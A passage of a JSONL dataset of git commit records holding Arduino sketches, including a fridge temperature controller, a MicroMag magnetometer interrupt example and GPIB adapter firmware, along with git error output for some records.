+= nextBInc;\n for (int i = 1; i < numIns; i++) {\n if (patterns[i-1] & bs[pos])\n Serial.print(instruments[i]);\n else\n Serial.print(\"..\");\n Serial.print(\"-\");\n }\n Serial.println(\"\");\n pos = (pos + 1) % patternL;\n }\n}\n\nvoid parseMessage(String msg) {\n int hashInd = msg.indexOf('#');\n \/\/ instrument\n if (hashInd == -1)\n return;\n int instrument = 0;\n String s = msg.substring(hashInd + 1, hashInd + 3);\n for (int i = 0; i < numIns; i++) {\n if (s == instruments[i]) {\n instrument = i;\n Serial.println(s);\n break;\n }\n }\n if (instrument == 0)\n playSample(msg.substring(hashInd + 4));\n else {\n instrument--;\n \/\/ pattern\n String pa = msg.substring(hashInd + 4, hashInd + 4 + patternL);\n byte pattern = 0;\n Serial.println(pa);\n for (int i = 0; i < patternL; i++) {\n pattern = pattern << 1;\n byte b = pa.charAt(i) == '1' ? 1 : 0;\n pattern += b;\n }\n Serial.println(pattern);\n patterns[instrument] = pattern;\n }\n}\n\nvoid playSample(String msg) {\n Process p;\n p.runShellCommandAsynchronously(\"madplay \"+sampleFolder+msg);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'msgSeq\/msgSeq.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"1753e1111fa8190150c96dfb07cdbe9b9f98578a","subject":"edited","message":"edited\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"test\/haunted_house.ino","new_file":"test\/haunted_house.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a6cff7cb8d3a237b0a3cafcb941394308e55d127","subject":"Create Main_draft_11.ino","message":"Create Main_draft_11.ino","repos":"pjarvey\/Lagering-Fridge","old_file":"Main_draft_11.ino","new_file":"Main_draft_11.ino","new_contents":"\n\/\/**************************************************************\/\/\n\/\/ Name : LAGERLOGGER! (With IC2 display) \n\/\/ Author : Paul Jarvey\n\/\/ Date : 5 Oct, 2013 \n\/\/ Modified: 17 Jan, 2017 \n\/\/ Version : BETA 0.8 \n\/\/ Notes : 20x4 lc2 display, DHT22 temp\/hum mon, \n\/\/ : control via rotary encoder, and 4 output controls \n\/\/ : note to self - control backlight with lcd.setBacklight(1)\n\/\/ : screen connected : SDA >> A4 , SCL >> A5\n\/\/****************************************************************\n\n\/\/redefine how compiler understands \"B_SIG\", \"A_SIg\"\nunsigned int pulses = 0, A_SIG=0, B_SIG=1;\nint pulseAdjust = 4;\n\n\/\/ Call libraries for display, sensor, I2C, and memory. Library setup included as well.\n#include <avr\/pgmspace.h>\nchar buffer[20];\n\n#include <OneWire.h> \n#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\nLiquidCrystal_I2C lcd(0x27,20,4); \n#include <DHT.h>\n#include <EEPROM.h>\n#include \"EEPROMAnything.h\"\n\n\n\/\/ Special Characters for the display and display animations\n#if defined(ARDUINO) && ARDUINO >= 100\n#define printByte(args) write(args);\n#else\n#define printByte(args) print(args,BYTE);\n#endif\n\nuint8_t heart[8] = { 0x0,0xa,0x1f,0x1f,0xe,0x4,0x0};\nuint8_t deg[8] = { 0x1c,0x14,0x1c,0x0,0x3,0x4,0x4,0x3};\nuint8_t hum[8] = { 0x12,0x4,0x9,0x0,0x4,0x7,0x5,0x5};\nuint8_t up1[8] = { 0x10,0x14,0x2,0x10,0x0,0x2,0x10,0x0};\nuint8_t up2[8] = { 0x0,0x2,0x10,0x0,0x2,0x10,0xa,0x0};\nuint8_t up3[8] = { 0x2,0x10,0x0,0x2,0x10,0x0,0x2,0x10};\nuint8_t Pv[8] = { 0x1c,0x14,0x1c,0x10,0x10,0x5,0x5,0x2};\nuint8_t Sv[8] = { 0xc,0x10,0x8,0x4,0x18,0x5,0x5,0x2};\n\/\/ end special chars \n\n\/\/ Sensor pins:\n#define DHTPIN 4\n#define DHTTYPE DHT22 \nDHT dht(DHTPIN, DHTTYPE);\n\n\/\/user i\/o pins\nconst int buttonPin = 11; \/\/ the pin that the pushbutton is attached to\nconst int ledPin = 13; \/\/ the pin that the LED is attached to (for status)\n\n\n\n\/\/************* Begin Libraries Setup ***************\/\/\n\nconst char* OnOff[3] = {\n\"ON \",\n\"OFF \",\n\"AUTO\"}; \n\nconst char* YesNo[2] = {\n\"Yes\",\n\"No \"}; \n\n\nconst char* mainMenu[9] = {\n\"Exit \",\n\"Program sequence\",\n\"Set temp\/hum \", \n\"Options & PID\",\n\"Fan timer \",\n\"Light timer \",\n\"View sensor data\",\n\"Brew\/grow mode \", \n\"Save settings \"};\n\n\n\n\n\/\/************* Begin Variables Setup ***************\/\/\n\n\/\/Sensors (ds18s20 needs additional chatter)\nint DS18S20_Pin = 5; \/\/DS18S20 Signal pin on digital 2\n byte addr1[8]= {0x28, 0x48, 0xAE, 0x3C, 0x05, 0x00, 0x00, 0x34};\n byte addr2[8]= {0x28, 0xC7, 0xCD, 0x4C, 0x05, 0x00, 0x00, 0x0D};\n byte data1[12];\n byte data2[12];\n byte MSB = 0;\n byte LSB = 0; \n float tempRead = 0;\n float TemperatureSum = 0;\n OneWire ds(DS18S20_Pin);\n \n\/\/controller outputs\nint ControlCpin = 9; \/\/ control to fridge\nint ControlTpin = 7; \/\/ control to temperature\/heater (get aquarium heater)\nint ControlHpin = 8; \/\/ control to humidifier\nint ControlLpin = 6; \/\/ control to light\nint ControlApin = 10; \/\/ control to airflow\n\n\/\/operational vars (the button)\n\/\/int buttonPushCounter = 0; \/\/ counter for the number of button presses DEPRACATED\nint buttonState = 0; \/\/ current state of the button\nint lastButtonState = 0; \/\/ previous state of the button\nboolean buttonstate = false; \/\/ calculastate of the button (includes timer delay. use this in menus)\nint buttontime = 0; \/\/ press length measure \nint buttontimeon = 0; \/\/ necessary for press length measure \n\n\/\/operational vars (the rotary)\nint pulseMod = 0; \/\/ modulus to reduce scroll speed\nint pulseprev = 0; \/\/ to measure change in rotary position\nint pulselast = 0; \/\/ backlight onoff\n\/\/operational vars (the menus and presets)\nbyte menu = 0; \/\/ defines current screen (used in cases in main loop)\nbyte submenu = 0; \/\/ defines submenu screen (used in cases in main loop)\nbyte Mode = 0; \/\/ define mode: brew = 0, myc = 1 COULD JUST USE MENU\n\/\/byte preset = 0; \/\/ Active Preset (grow and brew)\nint selector = 0; \/\/ could change to byte\nint selectorprev = 0; \/\/ Must be int. Maybe long. Defines the next menu position by changing pulses\n\n\/\/operational vars (sensors and timing)\nunsigned int sensorInterval = 5000; \/\/ time between readings\nunsigned long int sensorTime = 0; \/\/ current time \nunsigned long int sensorTime2 = 0; \/\/ time of last sensor reading\nunsigned long int backlighton = 0; \nunsigned long int backlighttime = 120000; \n\n\n\n\n\/\/ fans, lights, and timers\nbyte FanAuto = 0;\nunsigned long int fanONmillis = 0;\nunsigned long int fanOFFmillis = 0;\nbyte fanON = 0;\nbyte fanOFF = 0;\nboolean fanstate = false;\nunsigned long int Time = 0;\nunsigned long int TimeAdjust = 0;\nint brewtimer = 0;\ndouble brewtimerRef = 0;\nbyte brewtimerON = 0;\nfloat brewtimerSv = 20;\nunsigned long int LightON = 0;\nunsigned long int LightOFF = 0;\nunsigned int Hours = 0;\nunsigned int Minutes = 0;\nunsigned int Seconds = 0;\nbyte daysAdj = 0; \/\/not implemented yet\n\n\/\/key var storage\nfloat PvH = 0; \ndouble PvT = 0;\nfloat SvH = 0; \ndouble SvT = 0; \n\n\n\n\/\/Reading averaging\n\/\/const int numReadings = 4; \/\/ number of readings to average (rolling average) ALSO changes loading screen length (as values are populated twice per second)\n\/\/float readingsT[numReadings];\/\/ Temp readings to average\n\/\/float readingsH[numReadings];\/\/ Hum readings to average\n\n\/\/byte readingsCount = 0;\n\/\/byte index = 0; \/\/ index of the current reading\n\/\/byte index2 = 0;\n\/\/float totalT = 0; \/\/ current Temp total\n\/\/float totalH = 0; \/\/ current Hum total\n\/\/float totalIT = 0; \/\/ current Temp total\n\/\/fafloat totalIH = 0; \n\nfloat Temp1; \/\/Current readings\nfloat Temp2; \/\/Current readings\nfloat Temp3; \/\/Current readings\nfloat Hum;\nint Day = 0; \/\/Current day in program (for calcs) \nint DayPrev = 0; \/\/Previous day for counting and eeprom NOT SET UP YET \n\n\n\n\/\/ Fridge limits\nint dutyCycle = 2; \/\/ in minutes\nint minCool = 10; \/\/ in minutes\nbyte coolON = 0; \/\/ PID attached to this\n\n\/\/ Heat limits\nbyte heatON = 0; \/\/ PID attached to this\n\n\/\/PID variables\n#include <PID_v1.h>\nbyte autotune = 0;\n\n\/\/cool\ndouble Kp = 8;\ndouble Ki = 2;\ndouble Kd = 2;\ndouble Output;\nPID coolPID(&PvT, &Output, &SvT ,Kp,Ki,Kd, REVERSE);\ndouble coolWindowSize = 1800000; \/\/ 60k = 1min\nunsigned long coolWindowStartTime;\nunsigned long coolOffElapsed = 0;\n\n\/\/heat\ndouble Outputh;\nPID heatPID(&PvT, &Outputh, &SvT ,4,0.8,0.8, DIRECT);\ndouble heatWindowSize = 600000; \/\/ 60k = 1min\nunsigned long heatWindowStartTime;\nunsigned long heatOffElapsed = 0;\n\n\n\n\/\/ ensure setpoint, input, and outpit are defined\n\n\/\/************* End Variables Setup ***************\/\/\n\n\nvoid setup(){\n\n\/\/Sensor start\n dht.begin();\n \n\/\/Interrupts initialize\n attachInterrupt(0, A_RISE, RISING);\n attachInterrupt(1, B_RISE, RISING);\n pinMode(buttonPin, INPUT); \/\/ initialize momentary button input\n \n\/\/Pin declarations \n pinMode(ControlTpin, OUTPUT); \/\/set outputs\n pinMode(ControlHpin, OUTPUT);\n pinMode(ControlLpin, OUTPUT);\n pinMode(ControlApin, OUTPUT);\n pinMode(ControlCpin, OUTPUT);\n digitalWrite(ControlTpin, HIGH); \/\/ write outputs HIGH (off in this case) FIRST to prevent startup jitters.\n digitalWrite(ControlHpin, HIGH); \n digitalWrite(ControlLpin, HIGH); \n digitalWrite(ControlApin, HIGH); \n digitalWrite(ControlCpin, HIGH); \n \n\/\/LCD and special chars\n Serial.begin(115200);\n lcd.init(); \n lcd.backlight();\n lcd.createChar(0, heart);\n lcd.createChar(1, deg);\n lcd.createChar(2, hum);\n lcd.createChar(3, up1);\n lcd.createChar(4, up2);\n lcd.createChar(5, up3);\n lcd.createChar(6, Pv);\n lcd.createChar(7, Sv);\n lcd.clear();\n LoadScreen();\n \n\/\/ load all the saved values from EEPROM\n EEPROM_recall();\n \n \/\/fanONmillis = 0;\n fanOFFmillis = millis();\n HomeSetup();\n \n \/\/PID shit\n \/\/coolWindowSize = dutyCycle * 60000;\n coolPID.SetOutputLimits(0, coolWindowSize\/1000);\n coolPID.SetMode(AUTOMATIC);\n coolOffElapsed = millis();\n heatPID.SetOutputLimits(0, heatWindowSize\/1000);\n heatPID.SetMode(AUTOMATIC);\n coolOffElapsed = millis();\n}\n\n\nvoid loop(){\n\n Button(); \n Menus ();\n \n \/* \/\/TESTING OUTPUT (enable this line to print interrupt data to the serial port\n Serial.print(pulses);\n Serial.print(\" : \");\n Serial.println(pulseMod);*\/\n \n \n}\n\n\n\n\n \n \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Main_draft_11.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3b8d9116b48db4d0f266b318ad6757ee31f6d5d5","subject":"Demonstrating MM3 usage with interrupts for convert and reading.","message":"Demonstrating MM3 usage with interrupts for convert and reading.\n","repos":"stevemarple\/MicroMag,stevemarple\/MicroMag","old_file":"examples\/MicroMagConvGetResInt\/MicroMagConvGetResInt.ino","new_file":"examples\/MicroMagConvGetResInt\/MicroMagConvGetResInt.ino","new_contents":"\/*\n * MicroMagConvGetRes.ino\n * Author: Steve Marple\n * License: GNU Lesser General Public License, version 2.1\n *\n * Example sketch to demonstrate reading from a MicroMag2 or MicroMag3\n * module using the convert() and getResult() functions. The initial\n * convert is started from a match interrupt generated by\n * timer\/counter2.\n *\n * Requirements:\n * Arduino >= 1.0\n * Calunium (standard Arduino cannot access the DRDY pin and the\n * Arduino Mega(2560) doesn't have timer\/counter2 connected to the\n * shield headers. \n * MicroMag library, see https:\/\/github.com\/stevemarple\/MicroMag\n * MicroMag2 or MicroMag3 module\n *\n * Calunium configuration:\n * RTC (DS1307 or similar) fitted, with battery\n * RTC square wave routed to D15 (JP1 fitted)\n *\/\n\n#include <Wire.h>\n#include <RealTimeClockDS1307.h>\n\n#include <SPI.h>\n#include <MicroMag.h>\n\n#include <util\/atomic.h>\n\n\/\/ Adjust these pin definitions to suit your hardware. They are chosen\n\/\/ to match the RN-XV and SD shield with the MicroMag3 module option\n\/\/ on Calunium. Ensure the correct interrupt service routine is\n\/\/ defined for the DRDY pin.\n#define DRDY_PIN 14\nconst uint8_t mmResetPin = A3;\nconst uint8_t mmDrdyPin = DRDY_PIN;\nconst uint8_t mmSsPin = A0; \/\/ This is the chip select pin on the MM3\n\n\/\/ Change this to suit your version.\nconst uint8_t model = 3;\n\n\/\/ The sampling period\nuint8_t period = MM_PERIOD_4096;\n\n\/\/ Create a MicroMag object\nMicroMag MM = MicroMag::MicroMag3(mmSsPin, mmDrdyPin, mmResetPin);\n\n\/\/ Use an 8-bit variable to obtain atomic read\/write access. Disabling\n\/\/ interrupts is therefore not needed.\n\/\/\/ volatile uint8_t dataReady = false;\n\n\/\/ The 2 or 3 samples are taken in different invocations of loop() so\n\/\/ use static variables to hold the results until all 2 or 3 have been\n\/\/ taken and can be printed.\nvolatile uint8_t axis = 0;\nvolatile uint8_t sampleInProgess = false;\nvolatile int16_t data[model];\nvolatile unsigned long timestamps[model] = {0};\n\n\n\/\/ This ISR is called when the state has *changed*. Act only when the\n\/\/ current state is high (data is ready)\nISR(PCINT2_vect){\n ATOMIC_BLOCK(ATOMIC_FORCEON) {\n if (!digitalRead(DRDY_PIN))\n return; \/\/ Data not ready (new sample started?)\n\n data[axis] = MM.getResult();\n ++axis;\n if (axis == model)\n sampleInProgess = false;\n else {\n timestamps[axis] = millis();\n MM.convert(axis, period); \/\/ Start sampling next axis\n }\n return;\n }\n}\n\nvoid setupPinChangeInterrupts(void)\n{\n *(digitalPinToPCMSK(DRDY_PIN)) |= _BV(digitalPinToPCMSKbit(DRDY_PIN));\n *(digitalPinToPCIR(DRDY_PIN)) |= _BV(digitalPinToPCICRbit(DRDY_PIN));\n}\n\n\/\/ When the counter matches sample X\nISR(TIMER2_COMPA_vect)\n{\n ATOMIC_BLOCK(ATOMIC_FORCEON) {\n if (sampleInProgess)\n return;\n sampleInProgess = true;\n axis = 0;\n timestamps[axis] = millis();\n MM.convert(axis, period);\n return;\n }\n}\n\n\/\/ Configure counter\/timer2 in asynchronous mode, counting the rising\n\/\/ edge of signals on TOSC1. This always triggers on the rising edge;\n\/\/ if connecting SQW from a DS1307 then this means the ticks occur\n\/\/ halfway through the second.\nvoid setupTimer2(void)\n{\n noInterrupts();\n ASSR = (_BV(EXCLK) | _BV(AS2));\n TCCR2A = 0;\n TCCR2B = 0;\n TCNT2 = 0;\n OCR2A = 3; \/\/ Have the ISR called every 10th (n+1) tick\n TCCR2A |= _BV(WGM21); \/\/ CTC mode\n TCCR2B |= _BV(CS20);\n TIMSK2 |= _BV(OCIE2A);\n interrupts();\n}\n\n\nvoid setup()\n{\n pinMode(SS, OUTPUT); \/\/ Prevent SPI slave mode from happening\n Wire.begin();\n Serial.begin(9600);\n\n \/\/ For calunium: enable inputs on pin 6 in case JP4 is fitted and\n \/\/ routing SQW there also\n pinMode(6, INPUT); \n\n \/\/ On Calunium timer\/counter2 is connected to digital pin 15.\n pinMode(15, INPUT);\n setupTimer2();\n \n if (MM.begin() != 0) {\n Serial.println(\"Could not initialise MicroMag\");\n while (1)\n ; \/\/ no point in continuing\n }\n setupPinChangeInterrupts();\n\n \/\/ Set up the RTC output\n RTC.sqwEnable(RealTimeClockDS1307::SQW_1Hz);\n}\n\nunsigned long lastDisplayed = 0;\nvoid loop()\n{\n \/\/ Check if new data is ready\n if (!sampleInProgess && axis == model && timestamps[0] != lastDisplayed) {\n lastDisplayed = timestamps[0];\n double total = 0.0;\n \n \/\/ Display the results\n for (uint8_t i = 0; i < model; ++i) {\n if (i)\n\tSerial.print(\" \");\n Serial.print(char('X' + i));\n Serial.print(\" = \");\n Serial.print(data[i]);\n total += sqrt(double(data[i]) * data[i]);\n }\n Serial.print(\" Total = \");\n Serial.println(total);\n\n for (uint8_t i = 0; i < model; ++i) {\n if (i)\n\tSerial.print(\" \");\n Serial.print(timestamps[i]);\n }\n Serial.println();\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MicroMagConvGetResInt\/MicroMagConvGetResInt.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0f82726fcaf4b13c29aef2158018c4ed1a491c9b","subject":"Removed deprecated parameters","message":"Removed deprecated parameters\n","repos":"TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT,TheBeachMaster\/AfricasTalkingIOT","old_file":"AfricasTalkingCloud\/Examples\/ESP8266\/ESP8266Hello\/ESP8266Hello.ino","new_file":"AfricasTalkingCloud\/Examples\/ESP8266\/ESP8266Hello\/ESP8266Hello.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/AfricasTalkingIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"57716b5c9c341902beb1838e86539162b7484e39","subject":"add morse code dictionary","message":"add morse code dictionary\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bfde1cd18dcd814febb2c1dd63b9b07815aff5c8","subject":"hello-world firmware","message":"hello-world firmware\n","repos":"pepaslabs\/atmega-gpib,pepaslabs\/atmega-gpib,pepaslabs\/atmega-gpib,pepaslabs\/atmega-gpib","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"\/\/ ATmega328\/Arduino -> GPIB pin mapping\n\/\/\n\/\/ +------------\\_\/------------+\n\/\/ -|1 PC6 INT14 INT13 PC5 28|- A5 GPIB 11: ATN\n\/\/ FT230X 4: RX D0 -|2 PD0 INT16 INT12 PC4 27|- A4 GPIB 10: SRQ\n\/\/ FT230X 1: TX D1 -|3 PD1 INT17 INT11 PC3 26|- A3 GPIB 9: IFC\n\/\/ FT230X 6: CTS D2 -|4 PD2 INT18 INT10 PC2 25|- A2 GPIB 8: NDAC\n\/\/ FT230X 2: RTS D3 -|5 PD3 INT19 INT9 PC1 24|- A1 GPIB 7: NRFD\n\/\/ D4 -|6 PD4 INT20 INT8 PC0 23|- A0 GPIB 6: DAV\n\/\/ Vcc -|7 22|- GND\n\/\/ GND -|8 21|- AREF\n\/\/ -|9 PB6 INT6 20|- AVcc\n\/\/ GPIB 5: EOI -|10 PB7 INT7 INT5 PB5 19|- D13 GPIB 17: REN\n\/\/ GPIB 4: DIO4 D5 -|11 PD5 INT21 INT4 PB4 18|- D12 GPIB 16: DIO8\n\/\/ GPIB 3: DIO3 D6 -|12 PD6 INT22 INT3 PB3 17|- D11 GPIB 15: DIO7\n\/\/ GPIB 2: DIO2 D7 -|13 PD7 INT23 INT2 PB2 16|- D10 GPIB 14: DIO6\n\/\/ GPIB 1: DIO1 D8 -|14 PD8 INT0 INT1 PB1 15|- D9 GPIB 13: DIO5\n\/\/ +---------------------------+\n\n\/\/ Notes:\n\n\/\/ Next board revision:\n\/\/ - Move EOI to Arduino pin D4 so that it is controllable via Arduino code.\n\n\/\/ Sounds like the listening device is the one which should enable pull-up resistors.\n\/\/ See http:\/\/www.eevblog.com\/forum\/testgear\/gpib-to-usb-controlleradapter\/msg349323\/#msg349323\n\n\n\/\/ --- Bit manipulation ---\n\n#define SET_BIT(ADDRESS, BITNUM) (ADDRESS |= (1<<BITNUM))\n#define CLEAR_BIT(ADDRESS, BITNUM) (ADDRESS &= ~(1<<BITNUM))\n#define FLIP_BIT(ADDRESS, BITNUM) (ADDRESS ^= (1<<BITNUM))\n\/\/ note: this returns a byte with the desired bit in its original position\n#define GET_BIT(ADDRESS, BITNUM) (ADDRESS & (1<<BITNUM))\n\n\n\/\/ --- Types ---\n\ntypedef uint8_t arduino_pin_t;\ntypedef uint8_t arduino_pinmode_t;\ntypedef uint8_t byte_t;\ntypedef uint8_t bit_t;\n\n\n\/\/ --- TTL Serial pin mapping ---\n\n#define RX_ARDUINO_PIN 1 \/\/ connect to FT230X TX (pin 1)\n#define TX_ARDUINO_PIN 0 \/\/ connect to FT230X RX (pin 4)\n#define CTS_ARDUINO_PIN 3\n#define RTS_ARDUINO_PIN 4\n\n\n\/\/ --- Handshake bus ---\n\n#define DAV_ARDUINO_PIN A0\n#define NRFD_ARDUINO_PIN A1\n#define NDAC_ARDUINO_PIN A2\n\n\nvoid assert_dav() {\n assert_arduino_pin(DAV_ARDUINO_PIN);\n}\n\nvoid assert_nrfd() {\n assert_arduino_pin(NRFD_ARDUINO_PIN);\n}\n\nvoid assert_ndac() {\n assert_arduino_pin(NDAC_ARDUINO_PIN);\n}\n\n\nvoid unassert_dav() {\n unassert_arduino_pin(DAV_ARDUINO_PIN);\n}\n\nvoid unassert_nrfd() {\n unassert_arduino_pin(NRFD_ARDUINO_PIN);\n}\n\nvoid unassert_ndac() {\n unassert_arduino_pin(NDAC_ARDUINO_PIN);\n}\n\n\nboolean check_dav() {\n return digitalRead(DAV_ARDUINO_PIN) == LOW ? true : false;\n}\n\nboolean check_nrfd() {\n return digitalRead(NRFD_ARDUINO_PIN) == LOW ? true : false;\n}\n\nboolean check_ndac() {\n return digitalRead(NDAC_ARDUINO_PIN) == LOW ? true : false;\n}\n\n\n\/\/ --- Interface management bus ---\n\n#define IFC_ARDUINO_PIN A3\n#define ATN_ARDUINO_PIN A5\n#define SRQ_ARDUINO_PIN A4\n#define REN_ARDUINO_PIN 13\n\n\nvoid assert_ifc() {\n assert_arduino_pin(IFC_ARDUINO_PIN);\n}\n\nvoid assert_atn() {\n assert_arduino_pin(IFC_ARDUINO_PIN);\n}\n\nvoid assert_srq() {\n assert_arduino_pin(SRQ_ARDUINO_PIN);\n}\n\nvoid assert_ren() {\n assert_arduino_pin(REN_ARDUINO_PIN);\n}\n\nvoid assert_eoi() {\n \/\/ Configure pin as output\n SET_BIT(DDRB, DDB7);\n \/\/ Set the pin low\n CLEAR_BIT(PORTB, PB7);\n}\n\n\nvoid unassert_ifc() {\n unassert_arduino_pin(IFC_ARDUINO_PIN);\n}\n\nvoid unassert_atn() {\n unassert_arduino_pin(IFC_ARDUINO_PIN);\n}\n\nvoid unassert_srq() {\n unassert_arduino_pin(SRQ_ARDUINO_PIN);\n}\n\nvoid unassert_ren() {\n unassert_arduino_pin(REN_ARDUINO_PIN);\n}\n\nvoid unassert_eoi() {\n \/\/ Configure pin as input\n CLEAR_BIT(DDRB, DDB7);\n \/\/ Enable the built-in pull-up resistor\n SET_BIT(PORTB, PB7);\n}\n\n\nboolean check_ifc() {\n return digitalRead(IFC_ARDUINO_PIN) == LOW ? true : false;\n}\n\nboolean check_atn() {\n return digitalRead(ATN_ARDUINO_PIN) == LOW ? true : false;\n}\n\nboolean check_srq() {\n return digitalRead(SRQ_ARDUINO_PIN) == LOW ? true : false;\n}\n\nboolean check_ren() {\n return digitalRead(REN_ARDUINO_PIN) == LOW ? true : false;\n}\n\nboolean check_eoi() {\n return GET_BIT(PINB, PINB7) == 0 ? true : false;\n}\n\n\n\/\/ --- Data bus ---\n\n#define DIO1_ARDUINO_PIN 8\n#define DIO2_ARDUINO_PIN 7\n#define DIO3_ARDUINO_PIN 6\n#define DIO4_ARDUINO_PIN 5\n#define DIO5_ARDUINO_PIN 9\n#define DIO6_ARDUINO_PIN 10\n#define DIO7_ARDUINO_PIN 11\n#define DIO8_ARDUINO_PIN 12\n\n\nvoid gpib_write(byte_t data) {\n set_gpib_data_bus_mode(OUTPUT);\n digitalWrite(DIO1_ARDUINO_PIN, GET_BIT(data, 0));\n digitalWrite(DIO2_ARDUINO_PIN, GET_BIT(data, 1));\n digitalWrite(DIO3_ARDUINO_PIN, GET_BIT(data, 2));\n digitalWrite(DIO4_ARDUINO_PIN, GET_BIT(data, 3));\n digitalWrite(DIO5_ARDUINO_PIN, GET_BIT(data, 4));\n digitalWrite(DIO6_ARDUINO_PIN, GET_BIT(data, 5));\n digitalWrite(DIO7_ARDUINO_PIN, GET_BIT(data, 6));\n digitalWrite(DIO8_ARDUINO_PIN, GET_BIT(data, 7));\n}\n\nbyte_t gpib_read() {\n set_gpib_data_bus_mode(INPUT_PULLUP);\n byte_t data;\n digitalRead(DIO1_ARDUINO_PIN) ? CLEAR_BIT(data, 0) : SET_BIT(data, 0);\n digitalRead(DIO2_ARDUINO_PIN) ? CLEAR_BIT(data, 1) : SET_BIT(data, 1);\n digitalRead(DIO3_ARDUINO_PIN) ? CLEAR_BIT(data, 2) : SET_BIT(data, 2);\n digitalRead(DIO4_ARDUINO_PIN) ? CLEAR_BIT(data, 3) : SET_BIT(data, 3);\n digitalRead(DIO5_ARDUINO_PIN) ? CLEAR_BIT(data, 4) : SET_BIT(data, 4);\n digitalRead(DIO6_ARDUINO_PIN) ? CLEAR_BIT(data, 5) : SET_BIT(data, 5);\n digitalRead(DIO7_ARDUINO_PIN) ? CLEAR_BIT(data, 6) : SET_BIT(data, 6);\n digitalRead(DIO8_ARDUINO_PIN) ? CLEAR_BIT(data, 7) : SET_BIT(data, 7);\n return data;\n}\n\nvoid set_gpib_data_bus_mode(arduino_pinmode_t mode) {\n pinMode(DIO1_ARDUINO_PIN, mode);\n pinMode(DIO2_ARDUINO_PIN, mode);\n pinMode(DIO3_ARDUINO_PIN, mode);\n pinMode(DIO4_ARDUINO_PIN, mode);\n pinMode(DIO5_ARDUINO_PIN, mode);\n pinMode(DIO6_ARDUINO_PIN, mode);\n pinMode(DIO7_ARDUINO_PIN, mode);\n pinMode(DIO8_ARDUINO_PIN, mode);\n}\n\n\n\/\/ --- Arduino pin driver ---\n\nvoid assert_arduino_pin(arduino_pin_t pin) {\n pinMode(pin, OUTPUT);\n digitalWrite(pin, LOW);\n}\n\nvoid unassert_arduino_pin(arduino_pin_t pin) {\n pinMode(pin, INPUT_PULLUP);\n}\n\n\n\/\/ --- Main program ---\n\n#include <SoftwareSerial.h>\nSoftwareSerial serial = SoftwareSerial(RX_ARDUINO_PIN, TX_ARDUINO_PIN);\n\nvoid setup() {\n \/\/ Configure the serial pins\n pinMode(RX_ARDUINO_PIN, INPUT);\n pinMode(TX_ARDUINO_PIN, OUTPUT);\n serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ let's start by just getting a simple \"hello\" program to work.\n serial.write(\"hello!\\n\");\n delay(1000);\n}\n\n\n\/\/ I burn this program onto an ATmega328 using the Arduino 1.6.x IDE by writing it to the\n\/\/ ATmega328 in an Arduino Uno board. I then remove the ATmega328 from the Uno and insert\n\/\/ it into the atmega-gpib board.\n\n\/\/ To accomplish this, you'll need to set the ATmega328's fuse bits so that it is configured\n\/\/ to use its internal 8MHz oscillator. See the instructions at the bottom of this page:\n\/\/ https:\/\/www.arduino.cc\/en\/Tutorial\/ArduinoToBreadboard\n\n\/\/ Download this Arduino hardware configuration:\n\/\/ https:\/\/www.arduino.cc\/en\/uploads\/Tutorial\/breadboard-1-6-x.zip\n\/\/ Create a \"hardware\" folder in your Arduino folder and move the breadboard folder there.\n\/\/ For example, on my linux computer, the \"boards.txt\" file sits at this path:\n\/\/ \/home\/cell\/Arduino\/hardware\/breadboard\/avr\/boards.txt\n\n\/\/ Note: if you get a \"permission denied\" error when trying to use the USBTiny programmer\n\/\/ from linux, do the following:\n\/\/ - Run `lsusb` and look for a line like the following:\n\/\/ Bus 001 Device 016: ID 1781:0c9f Multiple Vendors USBtiny\n\/\/ - The above device corresponds to the device file \/dev\/bus\/usb\/001\/016. Chmod it:\n\/\/ sudo chmod ugo+rw \/dev\/bus\/usb\/001\/016\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9cf6e4e0b37d87fadf2deb2f5473cf7560ac8f69","subject":"Add example arduino program.","message":"Add example arduino 